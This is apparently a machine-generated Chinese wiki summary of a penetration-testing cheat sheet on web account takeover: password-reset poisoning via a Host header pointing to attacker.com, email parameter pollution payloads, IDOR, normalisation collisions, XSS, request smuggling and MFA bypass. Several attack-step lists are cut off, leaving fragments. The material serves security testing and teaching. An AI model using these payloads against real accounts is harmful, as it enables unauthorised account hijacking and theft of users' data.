本文档涵盖了用于在 Web 应用程序中未经授权访问用户帐户的方法和技术。它侧重于利用身份验证、密码重置机制和多因素身份验证 (MFA) 系统中的漏洞。有关 JWT 特定漏洞的信息,请参阅JSON Web Token (JWT) 攻击。
账户接管 (ATO) 攻击利用身份验证和账户管理系统中的弱点。主要攻击向量可分为三类
来源: Account Takeover/README.md3-20 Account Takeover/mfa-bypass.md3-4
密码重置功能通常包含可被利用来接管账户的漏洞。这些漏洞通常发生在令牌生成、传递或验证过程中。
来源: Account Takeover/README.md22-121
| 漏洞 | 描述 | 攻击方法 |
|---|---|---|
| 令牌通过 Referer 泄露 | 重置令牌在 Referer 标头中泄露 | 拦截从重置页面到第三方网站的请求 |
| 重置毒化 | Host 标头操纵导致重置链接指向攻击者域 | 修改重置请求中的 Host、X-Forwarded-Host 标头 |
| 邮箱参数操纵 | 接受多种邮箱格式 | 使用 email=victim@mail.com,attacker@mail.com 或数组语法 |
| API 中的 IDOR | 密码 API 中没有适当的授权 | 修改请求中的用户标识符以针对受害者 |
| 弱令牌生成 | 可预测的重置令牌 | 基于用户数据或时间戳分析令牌模式 |
| 用户名冲突 | 用户名规范化问题 | 注册带有空格的相似用户名(例如,“admin ”) |
| Unicode 规范化 | 字符映射问题 | 使用相似的 Unicode 字符进行注册 |
来源: Account Takeover/README.md24-121
当用户点击密码重置链接然后导航到第三方网站(如社交媒体链接)时,密码重置令牌可能会在 Referer 标头中泄露。
攻击步骤
来源: Account Takeover/README.md24-31
此攻击操纵 HTTP 标头,将密码重置电子邮件重定向到攻击者控制的域。
攻击步骤
Host: attacker.com 或 X-Forwarded-Host: attacker.com请求示例
POST https://example.com/reset.php HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com
来源: Account Takeover/README.md33-47
许多应用程序接受邮箱参数的各种格式,这可以被利用来接收重置令牌的副本。
常见操纵技术
# Parameter pollution
email=victim@mail.com&email=hacker@mail.com
# Array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# Carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# Separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
来源: Account Takeover/README.md48-65
密码更改 API 中不安全的直接对象引用允许攻击者更改其他用户的密码。
攻击步骤
易受攻击的示例请求
POST /api/changepass
[...]
("form": {"email":"victim@email.com","password":"securepwd"})
来源: Account Takeover/README.md67-78
弱令牌生成算法可能创建可预测或可猜测的令牌。经常导致令牌可预测的因素
来源: Account Takeover/README.md79-94
一些应用程序可能会在 API 响应中泄露重置令牌
来源: Account Takeover/README.md95-99
用户名规范化不当的应用程序可能允许攻击者注册带有额外空格的相似用户名。
攻击步骤
此漏洞已在 CTFd 中发现 (CVE-2020-7245)。
来源: Account Takeover/README.md101-109
Unicode 字符规范化在处理用户名或邮箱地址时可能导致意外行为。
示例
demo@gmail.comdemⓞ@gmail.com (使用 Unicode 字符 'ⓞ')应用程序在身份验证和密码重置过程中可能对此进行不同的规范化。
来源: Account Takeover/README.md111-121
各种 Web 应用程序漏洞可用于实现账户接管。这些攻击通常利用会话管理或输入验证缺陷。
来源: Account Takeover/README.md122-180
XSS 漏洞可用于窃取会话 Cookie 并接管账户
*.domain.com)来源: Account Takeover/README.md124-129
HTTP 请求走私可能导致通过响应/请求队列毒化进行账户接管
走私请求示例
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
来源: Account Takeover/README.md130-168
CSRF 漏洞可被利用来代表受害者执行操作
用于账户接管的常见 CSRF 目标包括密码更改、邮箱更改和安全设置修改。
来源: Account Takeover/README.md169-173
JSON Web Tokens (JWT) 可能包含允许账户接管的漏洞
有关详细的 JWT 攻击技术,请参阅JWT 攻击。
来源: Account Takeover/README.md174-180
多因素身份验证 (MFA) 系统可能包含允许攻击者绕过额外安全层的实现缺陷。
来源: Account Takeover/mfa-bypass.md6-99
MFA 实现可能依赖于客户端的响应验证,这可能会被操纵
"success":false)修改为 "success":true来源: Account Takeover/mfa-bypass.md26-34
双因素身份验证码可能通过各种方式泄露
来源: Account Takeover/mfa-bypass.md35-46
弱实现可能允许暴力破解或绕过代码验证
null 或 000000 这样的特殊值可能在没有验证的情况下被接受示例数组提交
来源: Account Takeover/mfa-bypass.md47-99
几种攻击针对 MFA 禁用功能
来源: Account Takeover/mfa-bypass.md56-71
会话处理问题可能会削弱 MFA 保护
/2fa/verify 替换为 /my-account)来源: Account Takeover/mfa-bypass.md72-79
刷新此 Wiki
最后索引时间2025 年 4 月 18 日(7eb75c)